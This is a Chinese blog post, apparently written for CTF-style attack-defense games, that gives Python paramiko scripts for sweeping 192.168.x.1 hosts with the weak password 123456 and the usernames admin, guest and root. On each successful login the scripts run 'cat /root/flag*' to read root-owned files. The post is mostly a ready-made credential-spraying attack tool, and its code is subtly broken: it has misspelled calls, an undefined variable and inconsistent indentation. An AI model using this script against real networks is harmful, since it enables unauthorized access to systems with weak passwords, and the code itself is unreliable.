前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python-SSH批量登陆并执行命令

Python-SSH批量登陆并执行命令

作者头像
偏有宸机
发布2020-11-04 10:19:07
1.7K0
发布2020-11-04 10:19:07
举报
文章被收录于专栏:宸机笔记

直接上代码

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
from time import ctime
usernm = ["admin","guest","root"]
passwd = "123456"
def ssh():
	for i in range(1,254):
		for user in usernm:
			try:
			    host = "192.168.%s.1"%i
			    s=paramiko.SSHClient()
			    #创建ssh对象
			    s.load_system_host_keys()
			    s.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
			    #自动加载主机密钥 yes\no
			    s.connect(hostname=host,username=user,password=passwd)
			    stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
                print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,user,ctime())
			    dd = stdout.read()
                print dd
			    stdin,stdout,stderr = s.exec_command('exit')
			    s.close
                if dd != None:
	                dd = None
	                break
	       except:
		       pass
print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图:

运行结果
运行结果

#多线程版本

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
import threading
from time import ctime,sleep 
def ssh():
    usernm = ["admin","guest","root"]
	ip = "192.168.%s.1"%i
	for user in usernm:
                try:
					s=paramiko.SSHClient()	
					s.load_system_host_keys()
					s.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
					s.connect(hostname=ip,username=user,password='123456')
					stdin,stdout,stderr = s.exec_command('cat /root/flag*')
                    print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,uer,ctime())
					dd = stdout.read()
                    print dd
                            
					stdin,stdout,stderr = s.exec_command('exit')
					s.close
                    if dd != None:
                       dd = None
                       break
                except:
                    pass

for i in range(100,200):
        a=threading.thread(target=ssh,arg=())
        sleep(0.1)
		a.strat()

运行效果:

多线程
多线程
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-05-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 直接上代码
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档